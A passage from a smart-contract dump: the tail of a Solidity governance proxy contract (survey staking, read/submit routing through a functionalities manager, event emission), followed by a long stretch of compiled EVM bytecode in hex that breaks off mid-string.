IERC20(tokenAddress).transfer(surveyResult ? proposal.getProposer() : walletAddress, staking); } } } function read(string memory codeName, bytes memory data) public override view returns(bytes memory returnData) { (address location, bytes memory payload) = IMVDFunctionalitiesManager(_delegates[4]).preConditionCheck(codeName, data, 0, msg.sender, 0); bool ok; (ok, returnData) = location.staticcall(payload); require(ok, "Failed to read from functionality"); } function submit(string memory codeName, bytes memory data) public override payable returns(bytes memory returnData) { if(msg.value > 0) { payable(_delegates[5]).transfer(msg.value); } IMVDFunctionalitiesManager manager = IMVDFunctionalitiesManager(_delegates[4]); (address location, bytes memory payload) = manager.preConditionCheck(codeName, data, 1, msg.sender, msg.value); bool changed = manager.setCallingContext(location); bool ok; (ok, returnData) = location.call(payload); if(changed) { manager.clearCallingContext(); } require(ok, "Failed to submit functionality"); } function callFromManager(address location, bytes memory payload) public override returns(bool, bytes memory) { require(msg.sender == _delegates[4], "Only Functionalities Manager can call this!"); return location.call(payload); } function emitFromManager(string memory codeName, address proposal, string memory replaced, address replacedSourceLocation, uint256 replacedSourceLocationId, address location, bool submitable, string memory methodSignature, bool isInternal, bool needsSender, address proposalAddress) public override { require(msg.sender == _delegates[4], "Only Functionalities Manager can call this!"); emit FunctionalitySet(codeName, proposal, replaced, replacedSourceLocation, replacedSourceLocationId, location, submitable, methodSignature, isInternal, needsSender, proposalAddress); } function emitEvent(string memory eventSignature, bytes memory firstIndex, bytes memory secondIndex, bytes memory data) public override { require(IMVDFunctionalitiesManager(_delegates[4]).isAuthorizedFunctionality(msg.sender), "Only authorized functionalities can emit events!"); emit Event(eventSignature, keccak256(firstIndex), keccak256(secondIndex), data); } function compareStrings(string memory a, string memory b) private pure returns(bool) { return keccak256(bytes(a)) == keccak256(bytes(b)); } function toUint256(bytes memory bs) internal pure returns(uint256 x) { if(bs.length >= 32) { assembly { x := mload(add(bs, add(0x20, 0))) } } } } interface IMVDProxyDelegate { function setProxy() external; }
0x60806040526004361061016a5760003560e01c8063841d0ed7116100d1578063a9771afd1161008a578063c838ccb611610064578063c838ccb614611007578063dbba0f011461106c578063f0d4d592146110af578063f5f62a6914611114576101ae565b8063a9771afd14610faa578063ba83c16f14610fdd578063c5c2fb6b14610ff2576101ae565b8063841d0ed714610bb25780638a86203914610d5d5780638e98ab5214610e1e57806394dcf2e614610e335780639e813f1f14610e6c578063a58ea74314610f95576101ae565b806331c6903d1161012357806331c6903d146105f757806337aa4d791461060c57806337f2a380146106e25780634d4e352d146108ed5780634e0a53ec146109205780636701586a14610b9d576101ae565b80630c259388146101b3578063161f2a1e146103f55780631a7e9d781461042857806321df0da71461056a5780632a7434a81461059b5780633191d332146105b0576101ae565b366101ae576040805162461bcd60e51b815260206004820152600f60248201526e139bc8115d1a081058d8d95c1d1959608a1b604482015290519081900360640190fd5b600080fd5b3480156101bf57600080fd5b506103f3600480360360808110156101d657600080fd5b810190602081018135600160201b8111156101f057600080fd5b82018360208201111561020257600080fd5b803590602001918460018302840111600160201b8311171561022357600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561027557600080fd5b82018360208201111561028757600080fd5b803590602001918460018302840111600160201b831117156102a857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156102fa57600080fd5b82018360208201111561030c57600080fd5b803590602001918460018302840111600160201b8311171561032d57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561037f57600080fd5b82018360208201111561039157600080fd5b803590602001918460018302840111600160201b831117156103b257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611155945050505050565b005b34801561040157600080fd5b506103f36004803603602081101561041857600080fd5b50356001600160a01b031661131c565b34801561043457600080fd5b506104e96004803603604081101561044b57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561047557600080fd5b82018360208201111561048757600080fd5b803590602001918460018302840111600160201b831117156104a857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506116e4945050505050565b60405180831515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561052e578181015183820152602001610516565b50505050905090810190601f16801561055b5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b34801561057657600080fd5b5061057f6117f5565b604080516001600160a01b039092168252519081900360200190f35b3480156105a757600080fd5b506103f361181e565b3480156105bc57600080fd5b506105e3600480360360208110156105d357600080fd5b50356001600160a01b03166125fd565b604080519115158252519081900360200190f35b34801561060357600080fd5b5061057f612693565b34801561061857600080fd5b506103f3600480360360a081101561062f57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561065e57600080fd5b82018360208201111561067057600080fd5b803590602001918460018302840111600160201b8311171561069157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550505050803515159150602001356001600160a01b03166126a2565b3480156106ee57600080fd5b506103f3600480360361016081101561070657600080fd5b810190602081018135600160201b81111561072057600080fd5b82018360208201111561073257600080fd5b803590602001918460018302840111600160201b8311171561075357600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092956001600160a01b03853516959094909350604081019250602001359050600160201b8111156107b657600080fd5b8201836020820111156107c857600080fd5b803590602001918460018302840111600160201b831117156107e957600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092956001600160a01b0385358116966020870135966040810135909216955060608201351515945091925060a081019060800135600160201b81111561086157600080fd5b82018360208201111561087357600080fd5b803590602001918460018302840111600160201b8311171561089457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050508035151591506020810135151590604001356001600160a01b031661288c565b3480156108f957600080fd5b506103f36004803603602081101561091057600080fd5b50356001600160a01b0316612ab5565b34801561092c57600080fd5b5061057f600480360361016081101561094457600080fd5b810190602081018135600160201b81111561095e57600080fd5b82018360208201111561097057600080fd5b803590602001918460018302840111600160201b8311171561099157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929584351515956001600160a01b036020870135811696604081013596506060810135909116945060808101351515935060c081019060a00135600160201b811115610a0f57600080fd5b820183602082011115610a2157600080fd5b803590602001918460018302840111600160201b83111715610a4257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b811115610a9457600080fd5b820183602082011115610aa657600080fd5b803590602001918460018302840111600160201b83111715610ac757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929584351515956020860135151595919450925060608101915060400135600160201b811115610b2957600080fd5b820183602082011115610b3b57600080fd5b803590602001918460018302840111600160201b83111715610b5c57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550612d85945050505050565b348015610ba957600080fd5b5061057f6136cd565b348015610bbe57600080fd5b50610ce860048036036040811015610bd557600080fd5b810190602081018135600160201b811115610bef57600080fd5b820183602082011115610c0157600080fd5b803590602001918460018302840111600160201b83111715610c2257600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b811115610c7457600080fd5b820183602082011115610c8657600080fd5b803590602001918460018302840111600160201b83111715610ca757600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506136dc945050505050565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610d22578181015183820152602001610d0a565b50505050905090810190601f168015610d4f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610d6957600080fd5b506103f360048036036040811015610d8057600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610daa57600080fd5b820183602082011115610dbc57600080fd5b803590602001918460018302840111600160201b83111715610ddd57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550613a1e945050505050565b348015610e2a57600080fd5b5061057f613d21565b348015610e3f57600080fd5b5061057f60048036036040811015610e5657600080fd5b50803590602001356001600160a01b0316613d30565b610ce860048036036040811015610e8257600080fd5b810190602081018135600160201b811115610e9c57600080fd5b820183602082011115610eae57600080fd5b803590602001918460018302840111600160201b83111715610ecf57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b811115610f2157600080fd5b820183602082011115610f3357600080fd5b803590602001918460018302840111600160201b83111715610f5457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550614069945050505050565b348015610fa157600080fd5b5061057f6144fc565b348015610fb657600080fd5b506105e360048036036020811015610fcd57600080fd5b50356001600160a01b031661450b565b348015610fe957600080fd5b5061057f61456d565b348015610ffe57600080fd5b5061057f61457c565b34801561101357600080fd5b5061101c61458b565b60408051602080825283518183015283519192839290830191858101910280838360005b83811015611058578181015183820152602001611040565b505050509050019250505060405180910390f35b34801561107857600080fd5b506103f36004803603606081101561108f57600080fd5b506001600160a01b038135811691602081013591604090910135166145ed565b3480156110bb57600080fd5b506103f3600480360360e08110156110d257600080fd5b506001600160a01b038135811691602081013582169160408201358116916060810135821691608082013581169160a081013582169160c0909101351661473d565b34801561112057600080fd5b506103f36004803603606081101561113757600080fd5b506001600160a01b0381351690602081013515159060400135614b54565b600060048154811061116357fe5b60009182526020918290200154604080516318c8e99960e11b815233600482015290516001600160a01b0390921692633191d33292602480840193829003018186803b1580156111b257600080fd5b505afa1580156111c6573d6000803e3d6000fd5b505050506040513d60208110156111dc57600080fd5b50516112195760405162461bcd60e51b815260040180806020018281038252603081526020018061526e6030913960400191505060405180910390fd5b81805190602001208380519060200120856040518082805190602001908083835b602083106112595780518252601f19909201916020918201910161123a565b51815160209384036101000a60001901801990921691161790526040805192909401829003822081835289518383015289519096507f83476fc047a113041fb40ec31039c5f12a2c2066570160c7be1cd7936bdd7e4895508994929350839283019185019080838360005b838110156112dc5781810151838201526020016112c4565b50505050905090810190601f1680156113095780820380516001836020036101000a031916815260200191505b509250505060405180910390a450505050565b600060048154811061132a57fe5b60009182526020918290200154604080516318c8e99960e11b815233600482015290516001600160a01b0390921692633191d33292602480840193829003018186803b15801561137957600080fd5b505afa15801561138d573d6000803e3d6000fd5b505050506040513d60208110156113a357600080fd5b50516113ed576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a656420616374696f6e2160601b604482015290519081900360640190fd5b6000806004815481106113fc57fe5b600091825260208083209091015460408051636427760f60e11b81526004810193909352600d60248401526c1cdd185c9d141c9bdc1bdcd85b609a1b6044840152516001600160a01b039091169263c84eec1e9260648082019391829003018186803b15801561146b57600080fd5b505afa15801561147f573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260a08110156114a857600080fd5b81516020830151604080850180519151939592948301929184600160201b8211156114d257600080fd5b9083019060208201858111156114e757600080fd5b8251600160201b81118282018810171561150057600080fd5b82525081516020918201929091019080838360005b8381101561152d578181015183820152602001611515565b50505050905090810190601f16801561155a5780820380516001836020036101000a031916815260200191505b506040525093945050506001600160a01b038316331491506115af90505760405162461bcd60e51b815260040180806020018281038252603e8152602001806152fa603e913960400191505060405180910390fd5b60006001815481106115bd57fe5b600091825260209182902001546040805163a9771afd60e01b81526001600160a01b0386811660048301529151919092169263a9771afd9260248082019391829003018186803b15801561161057600080fd5b505afa158015611624573d6000803e3d6000fd5b505050506040513d602081101561163a57600080fd5b505161168d576040805162461bcd60e51b815260206004820152601960248201527f496e76616c69642050726f706f73616c20416464726573732100000000000000604482015290519081900360640190fd5b816001600160a01b031663be9a65556040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156116c857600080fd5b505af11580156116dc573d6000803e3d6000fd5b505050505050565b6000606060006004815481106116f657fe5b6000918252602090912001546001600160a01b031633146117485760405162461bcd60e51b815260040180806020018281038252602b81526020018061529e602b913960400191505060405180910390fd5b836001600160a01b0316836040518082805190602001908083835b602083106117825780518252601f199092019160209182019101611763565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146117e4576040519150601f19603f3d011682016040523d82523d6000602084013e6117e9565b606091505b50915091509250929050565b60008060008154811061180457fe5b6000918252602090912001546001600160a01b0316905090565b600060018154811061182c57fe5b600091825260208220015460408051632c9f55ed60e01b815233600482015290516001600160a01b0390921692632c9f55ed9260248084019382900301818387803b15801561187a57600080fd5b505af115801561188e573d6000803e3d6000fd5b50506040513392507f8919c8af6c1a3c8d9432e127fc80d1dd4021f7a2c7193c6e7fa8950a452eb6639150600090a26000806004815481106118cc57fe5b600091825260208083209091015460408051636427760f60e11b81526004810193909352601160248401527018da1958dad4dd5c9d995e54995cdd5b1d607a1b6044840152516001600160a01b039091169350606091849163c84eec1e916064808201928792909190829003018186803b15801561194957600080fd5b505afa15801561195d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260a081101561198657600080fd5b81516020830151604080850180519151939592948301929184600160201b8211156119b057600080fd5b9083019060208201858111156119c557600080fd5b8251600160201b8111828201881017156119de57600080fd5b82525081516020918201929091019080838360005b83811015611a0b5781810151838201526020016119f3565b50505050905090810190601f168015611a385780820380516001836020036101000a031916815260200191505b50604081815233602480840191909152815180840390910181526044909201908190528551979950949750600096606096506001600160a01b038a1695919450889350909150819060208401908083835b60208310611aa85780518252601f199092019160209182019101611a89565b51815160001960209485036101000a01908116901991909116179052604080519490920184900390932092860180516001600160e01b03166001600160e01b031990941693909317835251855190945084935090508083835b60208310611b205780518252601f199092019160209182019101611b01565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d8060008114611b80576040519150601f19603f3d011682016040523d82523d6000602084013e611b85565b606091505b50915091506000611b9582614e41565b60408051636427760f60e11b815260206004820152600b60248201526a1c1c9bdc1bdcd85b115b9960aa1b604482015290519290911193506001916001600160a01b0388169163c84eec1e916064808301926000929190829003018186803b158015611c0057600080fd5b505afa158015611c14573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260a0811015611c3d57600080fd5b81516020830151604080850180519151939592948301929184600160201b821115611c6757600080fd5b908301906020820185811115611c7c57600080fd5b8251600160201b811182820188101715611c9557600080fd5b82525081516020918201929091019080838360005b83811015611cc2578181015183820152602001611caa565b50505050905090810190601f168015611cef5780820380516001836020036101000a031916815260200191505b506040525093985090965050506001600160a01b038616159050611f2357856001600160a01b03166374f81676866040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b158015611d5c57600080fd5b505af1158015611d70573d6000803e3d6000fd5b505050506040513d6020811015611d8657600080fd5b5050604080513360248201528415156044808301919091528251808303909101815260649091019182905285516001600160a01b038816928791819060208401908083835b60208310611dea5780518252601f199092019160209182019101611dcb565b51815160001960209485036101000a01908116901991909116179052604080519490920184900390932092860180516001600160e01b03166001600160e01b031990941693909317835251855190945084935090508083835b60208310611e625780518252601f199092019160209182019101611e43565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611ec4576040519150601f19603f3d011682016040523d82523d6000602084013e611ec9565b606091505b505080915050856001600160a01b031663d7e5d1af6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611f0a57600080fd5b505af1158015611f1e573d6000803e3d6000fd5b505050505b600033905060008080600081548110611f3857fe5b600091825260208220015481546001600160a01b03909116925081906005908110611f5f57fe5b9060005260206000200160009054906101000a90046001600160a01b03169050836001600160a01b0316635f9e8f826040518163ffffffff1660e01b815260040160206040518083038186803b158015611fb857600080fd5b505afa158015611fcc573d6000803e3d6000fd5b505050506040513d6020811015611fe257600080fd5b5051156122b35760408051636427760f60e11b8152602060048201526019602482015278676574456d657267656e63795375727665795374616b696e6760381b604482015290516001600160a01b038c169163c84eec1e916064808301926000929190829003018186803b15801561205957600080fd5b505afa15801561206d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260a081101561209657600080fd5b81516020830151604080850180519151939592948301929184600160201b8211156120c057600080fd5b9083019060208201858111156120d557600080fd5b8251600160201b8111828201881017156120ee57600080fd5b82525081516020918201929091019080838360005b8381101561211b578181015183820152602001612103565b50505050905090810190601f1680156121485780820380516001836020036101000a031916815260200191505b50604052602001805190602001909291908051906020019092919050505090919250905050809950819a505050886001600160a01b031688604051602401604051602081830303815290604052906040518082805190602001908083835b602083106121c55780518252601f1990920191602091820191016121a6565b51815160001960209485036101000a01908116901991909116179052604080519490920184900390932092860180516001600160e01b03166001600160e01b031990941693909317835251855190945084935090508083835b6020831061223d5780518252601f19909201916020918201910161221e565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d806000811461229d576040519150601f19603f3d011682016040523d82523d6000602084013e6122a2565b606091505b5096506122b0905086614e41565b92505b866123e25784156123d357836001600160a01b031663b8e010de6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156122f957600080fd5b505af115801561230d573d6000803e3d6000fd5b5050604080518a1515815290513393507fcecdf35241f88c3f9351331a7f5416b48d30429075f1061f7b247814050c4abc92509081900360200190a282156123d357816001600160a01b031663a9059cbb82856040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156123a657600080fd5b505af11580156123ba573d6000803e3d6000fd5b505050506040513d60208110156123d057600080fd5b50505b505050505050505050506125fb565b8415612465576040805163fd5d2d1b60e01b815233600482015290516001600160a01b038c169163fd5d2d1b9160248083019260209291908290030181600087803b15801561243057600080fd5b505af192505050801561245557506040513d602081101561245057600080fd5b505160015b6124625760009450612465565b94505b84156125f057836001600160a01b031663b8e010de6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156124a657600080fd5b505af11580156124ba573d6000803e3d6000fd5b5050604080518a1515815290513393507fcecdf35241f88c3f9351331a7f5416b48d30429075f1061f7b247814050c4abc92509081900360200190a282156125f057816001600160a01b031663a9059cbb88612516578261257c565b856001600160a01b031663e9790d026040518163ffffffff1660e01b815260040160206040518083038186803b15801561254f57600080fd5b505afa158015612563573d6000803e3d6000fd5b505050506040513d602081101561257957600080fd5b50515b856040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156125c357600080fd5b505af11580156125d7573d6000803e3d6000fd5b505050506040513d60208110156125ed57600080fd5b50505b505050505050505050505b565b60008060048154811061260c57fe5b60009182526020918290200154604080516318c8e99960e11b81526001600160a01b03868116600483015291519190921692633191d3329260248082019391829003018186803b15801561265f57600080fd5b505afa158015612673573d6000803e3d6000fd5b505050506040513d602081101561268957600080fd5b505190505b919050565b60008060058154811061180457fe5b60006004815481106126b057fe5b60009182526020918290200154604080516318c8e99960e11b815233600482015290516001600160a01b0390921692633191d33292602480840193829003018186803b1580156126ff57600080fd5b505afa158015612713573d6000803e3d6000fd5b505050506040513d602081101561272957600080fd5b50516127665760405162461bcd60e51b81526004018080602001828103825260318152602001806152c96031913960400191505060405180910390fd5b600060058154811061277457fe5b9060005260206000200160009054906101000a90046001600160a01b03166001600160a01b031663e34ed67286868686866040518663ffffffff1660e01b815260040180866001600160a01b03168152602001858152602001806020018415158152602001836001600160a01b03168152602001828103825285818151815260200191508051906020019080838360005b8381101561281d578181015183820152602001612805565b50505050905090810190601f16801561284a5780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b15801561286d57600080fd5b505af1158015612881573d6000803e3d6000fd5b505050505050505050565b600060048154811061289a57fe5b6000918252602090912001546001600160a01b031633146128ec5760405162461bcd60e51b815260040180806020018281038252602b81526020018061529e602b913960400191505060405180910390fd5b806001600160a01b0316866001600160a01b03168b6001600160a01b03167febd5e569e8bbe9e5ac1bcb04b1b69233c70f22f3984d8d033b245f4c10297a878e8d8d8d8c8c8c8c604051808060200180602001896001600160a01b031681526020018881526020018715158152602001806020018615158152602001851515815260200184810384528c818151815260200191508051906020019080838360005b838110156129a557818101518382015260200161298d565b50505050905090810190601f1680156129d25780820380516001836020036101000a031916815260200191505b5084810383528b5181528b516020918201918d019080838360005b83811015612a055781810151838201526020016129ed565b50505050905090810190601f168015612a325780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b83811015612a65578181015183820152602001612a4d565b50505050905090810190601f168015612a925780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060405180910390a45050505050505050505050565b6000600481548110612ac357fe5b60009182526020918290200154604080516318c8e99960e11b815233600482015290516001600160a01b0390921692633191d33292602480840193829003018186803b158015612b1257600080fd5b505afa158015612b26573d6000803e3d6000fd5b505050506040513d6020811015612b3c57600080fd5b5051612b86576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a656420616374696f6e2160601b604482015290519081900360640190fd5b600080600481548110612b9557fe5b600091825260208083209091015460408051636427760f60e11b81526004810193909352600f60248401526e191a5cd8589b19541c9bdc1bdcd85b608a1b6044840152516001600160a01b039091169263c84eec1e9260648082019391829003018186803b158015612c0657600080fd5b505afa158015612c1a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260a0811015612c4357600080fd5b81516020830151604080850180519151939592948301929184600160201b821115612c6d57600080fd5b908301906020820185811115612c8257600080fd5b8251600160201b811182820188101715612c9b57600080fd5b82525081516020918201929091019080838360005b83811015612cc8578181015183820152602001612cb0565b50505050905090810190601f168015612cf55780820380516001836020036101000a031916815260200191505b506040525093945050506001600160a01b03831633149150612d4a90505760405162461bcd60e51b81526004018080602001828103825260418152602001806153386041913960600191505060405180910390fd5b816001600160a01b0316632f2770db6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156116c857600080fd5b6000612d908b614e54565b6000600381548110612d9e57fe5b9060005260206000200160009054906101000a90046001600160a01b03166001600160a01b0316637415579f8d8989898989896040518863ffffffff1660e01b8152600401808060200188151581526020018060200180602001871515815260200186151581526020018060200185810385528c818151815260200191508051906020019080838360005b83811015612e41578181015183820152602001612e29565b50505050905090810190601f168015612e6e5780820380516001836020036101000a031916815260200191505b5085810384528a5181528a516020918201918c019080838360005b83811015612ea1578181015183820152602001612e89565b50505050905090810190601f168015612ece5780820380516001836020036101000a031916815260200191505b5085810383528951815289516020918201918b019080838360005b83811015612f01578181015183820152602001612ee9565b50505050905090810190601f168015612f2e5780820380516001836020036101000a031916815260200191505b50858103825286518152865160209182019188019080838360005b83811015612f61578181015183820152602001612f49565b50505050905090810190601f168015612f8e5780820380516001836020036101000a031916815260200191505b509b50505050505050505050505060006040518083038186803b158015612fb457600080fd5b505afa158015612fc8573d6000803e3d6000fd5b50505050600080600481548110612fdb57fe5b600091825260208220015481546001600160a01b0390911692508190600190811061300257fe5b9060005260206000200160009054906101000a90046001600160a01b03166001600160a01b031663a7d5a1ee8f8c8b8b896040518663ffffffff1660e01b81526004018080602001866001600160a01b0316815260200180602001806020018060200185810385528a818151815260200191508051906020019080838360005b8381101561309a578181015183820152602001613082565b50505050905090810190601f1680156130c75780820380516001836020036101000a031916815260200191505b5085810384528851815288516020918201918a019080838360005b838110156130fa5781810151838201526020016130e2565b50505050905090810190601f1680156131275780820380516001836020036101000a031916815260200191505b50858103835287518152875160209182019189019080838360005b8381101561315a578181015183820152602001613142565b50505050905090810190601f1680156131875780820380516001836020036101000a031916815260200191505b50858103825286518152865160209182019188019080838360005b838110156131ba5781810151838201526020016131a2565b50505050905090810190601f1680156131e75780820380516001836020036101000a031916815260200191505b509950505050505050505050602060405180830381600087803b15801561320d57600080fd5b505af1158015613221573d6000803e3d6000fd5b505050506040513d602081101561323757600080fd5b81019080805190602001909291905050509250829050806001600160a01b0316638d06bc5b8e8e8e8d8b8b338a6001600160a01b0316633c9808046040518163ffffffff1660e01b815260040180806020018281038252600f8152602001806e0676574566f7465734861726443617608c1b81525060200191505060206040518083038186803b1580156132ca57600080fd5b505afa1580156132de573d6000803e3d6000fd5b505050506040513d60208110156132f457600080fd5b5051613301576000613349565b6133496133446040518060400160405280600f81526020016e0676574566f7465734861726443617608c1b815250604051806020016040528060008152506136dc565b614e41565b6040518963ffffffff1660e01b8152600401808915158152602001886001600160a01b03168152602001878152602001861515815260200185151581526020018415158152602001836001600160a01b0316815260200182815260200198505050505050505050600060405180830381600087803b1580156133ca57600080fd5b505af11580156133de573d6000803e3d6000fd5b505060408051630f26020160e21b8152602060048201819052600d60248301526c1bdb93995dd41c9bdc1bdcd85b609a1b604483015291516001600160a01b0387169450633c980804935060648083019392829003018186803b15801561344457600080fd5b505afa158015613458573d6000803e3d6000fd5b505050506040513d602081101561346e57600080fd5b5051156134ce576134cc6040518060400160405280600d81526020016c1bdb93995dd41c9bdc1bdcd85b609a1b8152508460405160200180826001600160a01b03168152602001915050604051602081830303815290604052614069565b505b60006004815481106134dc57fe5b6000918252602091829020015460408051630f26020160e21b815260048101849052600d60248201526c1cdd185c9d141c9bdc1bdcd85b609a1b604482015290516001600160a01b0390921692633c98080492606480840193829003018186803b15801561354957600080fd5b505afa15801561355d573d6000803e3d6000fd5b505050506040513d602081101561357357600080fd5b505115806136275750600060048154811061358a57fe5b6000918252602091829020015460408051630f26020160e21b815260048101849052600f60248201526e191a5cd8589b19541c9bdc1bdcd85b608a1b604482015290516001600160a01b0390921692633c98080492606480840193829003018186803b1580156135f957600080fd5b505afa15801561360d573d6000803e3d6000fd5b505050506040513d602081101561362357600080fd5b5051155b1561368057806001600160a01b031663be9a65556040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561366757600080fd5b505af115801561367b573d6000803e3d6000fd5b505050505b604080516001600160a01b038516815290517fd721fc4b71111225bba131141f013ef3e3956654b0eade3c9e9f611f0d93b5519181900360200190a150509b9a5050505050505050505050565b60008060048154811061180457fe5b60606000606060006004815481106136f057fe5b9060005260206000200160009054906101000a90046001600160a01b03166001600160a01b031663c1423cb0868660003360006040518663ffffffff1660e01b8152600401808060200180602001868152602001856001600160a01b03168152602001848152602001838103835288818151815260200191508051906020019080838360005b8381101561378e578181015183820152602001613776565b50505050905090810190601f1680156137bb5780820380516001836020036101000a031916815260200191505b50838103825287518152875160209182019189019080838360005b838110156137ee5781810151838201526020016137d6565b50505050905090810190601f16801561381b5780820380516001836020036101000a031916815260200191505b5097505050505050505060006040518083038186803b15801561383d57600080fd5b505afa158015613851573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604090815281101561387a57600080fd5b815160208301805160405192949293830192919084600160201b8211156138a057600080fd5b9083019060208201858111156138b557600080fd5b8251600160201b8111828201881017156138ce57600080fd5b82525081516020918201929091019080838360005b838110156138fb5781810151838201526020016138e3565b50505050905090810190601f1680156139285780820380516001836020036101000a031916815260200191505b50604052505050915091506000826001600160a01b0316826040518082805190602001908083835b6020831061396f5780518252601f199092019160209182019101613950565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855afa9150503d80600081146139cf576040519150601f19603f3d011682016040523d82523d6000602084013e6139d4565b606091505b509450905080613a155760405162461bcd60e51b815260040180806020018281038252602181526020018061524d6021913960400191505060405180910390fd5b50505092915050565b6000600481548110613a2c57fe5b60009182526020918290200154604080516318c8e99960e11b815233600482015290516001600160a01b0390921692633191d33292602480840193829003018186803b158015613a7b57600080fd5b505afa158015613a8f573d6000803e3d6000fd5b505050506040513d6020811015613aa557600080fd5b5051613aef576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a656420616374696f6e2160601b604482015290519081900360640190fd5b6001600160a01b038216613b45576040805162461bcd60e51b815260206004820152601860248201527743616e6e6f742073657420766f696420616464726573732160401b604482015290519081900360640190fd5b60005b600054811015613bd05780600314613bc85760008181548110613b6757fe5b600091825260208220015460408051633914a04f60e01b815290516001600160a01b0390921692633914a04f9260048084019382900301818387803b158015613baf57600080fd5b505af1158015613bc3573d6000803e3d6000fd5b505050505b600101613b48565b5060408051600080825260208201928390529051613bee92906151c8565b506040516001600160a01b038316907ff0cd76016a4ee33fe62814f8afd5492f47062ea7615bcc094f2f6fe71b62d1c490600090a26000826001600160a01b0316826040518082805190602001908083835b60208310613c5f5780518252601f199092019160209182019101613c40565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114613cc1576040519150601f19603f3d011682016040523d82523d6000602084013e613cc6565b606091505b5050905080613d1c576040805162461bcd60e51b815260206004820152601d60248201527f4e65772050726f787920696e69745061796c6f6164206661696c656421000000604482015290519081900360640190fd5b505050565b60008060038154811061180457fe5b600080600481548110613d3f57fe5b60009182526020918290200154604080516318c8e99960e11b815233600482015290516001600160a01b0390921692633191d33292602480840193829003018186803b158015613d8e57600080fd5b505afa158015613da2573d6000803e3d6000fd5b505050506040513d6020811015613db857600080fd5b5051613e02576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a656420616374696f6e2160601b604482015290519081900360640190fd5b6001600160a01b038216613e58576040805162461bcd60e51b815260206004820152601860248201527743616e6e6f742073657420766f696420616464726573732160401b604482015290519081900360640190fd5b8260051415613f07576000600581548110613e6f57fe5b600091825260208220015481546001600160a01b0390911691636c261975918591908190613e9957fe5b6000918252602082200154604080516001600160e01b031960e087901b1681526001600160a01b0394851660048201529390911660248401525160448084019382900301818387803b158015613eee57600080fd5b505af1158015613f02573d6000803e3d6000fd5b505050505b60008381548110613f1457fe5b600091825260208220015481546001600160a01b03909116925083919085908110613f3b57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b031602179055508260031461401857806001600160a01b0316633914a04f6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015613fac57600080fd5b505af1158015613fc0573d6000803e3d6000fd5b50505050816001600160a01b0316633914a04f6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015613fff57600080fd5b505af1158015614013573d6000803e3d6000fd5b505050505b816001600160a01b0316816001600160a01b03167f5b9724fbfed485031cb1f2632de8a498984da9c3bb6a8b77b659abc1ce82970b856040518082815260200191505060405180910390a392915050565b606034156140c257600060058154811061407f57fe5b60009182526020822001546040516001600160a01b03909116913480156108fc02929091818181858888f193505050501580156140c0573d6000803e3d6000fd5b505b600080600481548